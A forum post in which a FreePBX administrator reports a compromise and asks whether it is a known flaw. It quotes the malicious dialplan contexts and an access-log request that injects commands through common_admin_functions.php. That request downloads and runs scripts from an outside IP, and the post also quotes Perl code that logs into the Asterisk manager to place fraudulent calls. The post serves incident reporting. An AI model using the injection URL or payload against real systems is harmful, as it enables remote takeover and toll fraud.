Hi,
This is my first post here so be gentle
I just wondered if anyone had seen this issue before. Over the weekend we received a warning from out SIP provider that we were routing unusual numbers of calls through our freepbx box (Asterisk 11.12.0 / FreePBX 2.11.0.38).
I checked the asterisk logs and sure enough there were calls that shouldnât be there. Interestingly they all started with:
Executing [007xxxxxxxxxx@doclickoutcontextnow7:1] NoOp(âLocal/xxxxxx@doclickincontextnow7-00000019;1â, ââClick Out Contextââ) in new stack
Which was odd because Iâd never come across the context âdoclickoutcontextnow7â in my configuration - but sure enough when I checked:
[doclickoutcontextnow7]
exten => _X.,1,NoOp(âClick Out Contextâ)
exten => _X.,n,Goto(from-internal,${EXTEN},1)
[doclickincontextnow7]
exten => _X.,1,NoOp(âClick in Contextâ)
exten => _X.,n,Answer(999999999999999999)
exten => _X.,n,Wait(999999999999999999)
had been added to the bottom of my extensions.conf. My first though was âahh - Iâve been hit by shellshockedâ - my second was âwell if I have it must have been through the web interfaceâ so I checked the httpd logs and found:
xxx.xxx.xxx.xxx - - [27/Sep/2014:17:08:35 +0100] âGET /admin/modules/admindashboard/phpsysinfo/common_admin_functions.php?c=wget±O+/tmp/c.sh+http://94.102.49.82/c2.sh;chmod+a%2bx+/tmp/c.sh;/tmp/c.sh+add;/usr/sbin/asterisk±rx+âdialplan+reloadâ;/usr/sbin/asterisk±rx+âmanager+reloadâ;wget±O+/tmp/c2.pl+http://94.102.49.82/c.pl; HTTP/1.1â 200 22 â-â â-â
so checked my /tmp folder and found a c.sh script which was set up to modify extensions.conf accordingly as well as c2.pl which appears to make a connection to the manager interface of asterisk and initial calls between 2 given numbers with the following code:
$payload = âAction: Login\r\nâ
.âUsername: $user\r\nâ
.âSecret: $password\r\n\r\nâ
.âAction: Originate\r\nâ
.âChannel: Local/$phone@doclickincontextnow7\r\nâ
.âContext: doclickoutcontextnow7\r\nâ
.âExten: $number\r\nâ
.âPriority: 1\r\nâ;
$payload .= âAsync: yes\r\nâ;
$payload .= âCallerid: $phone\r\n\r\nâ
.âAction: Logoff\r\n\r\nâ;
I removed these files then visited the URL:
http:// ip of my freepbx/admin/modules/admindashboard/phpsysinfo/common_admin_functions.php?c=wget±O+/tmp/c.sh+http://94.102.49.82/c2.sh;chmod+a%2bx+/tmp/c.sh;/tmp/c.sh+add;/usr/sbin/asterisk±rx+%27dialplan+reload%27;/usr/sbin/asterisk±rx+%27manager+reload%27;wget±O+/tmp/c2.pl+http://94.102.49.82/c.pl;
In my web browser and the exploit reinstalled itself. Iâve applied all the updates for centos and all the module updates for freepbx and the above link still installs the exploit even when Iâm not logged into the web interface as an administrator.
I wondered whether
a) anyone else had seen this before
and
b) is this actually an exploit in common_admin_functions.php that should be fixed.
Now Iâm pretty sure this isnât a shellshocked exploit but I guess the moral of the story is not to leave your freepbx box admin interface open to the internet - especially on port 80 so I am no longer doing so but Iâd be interested on peoples feedback.
Regards
Mat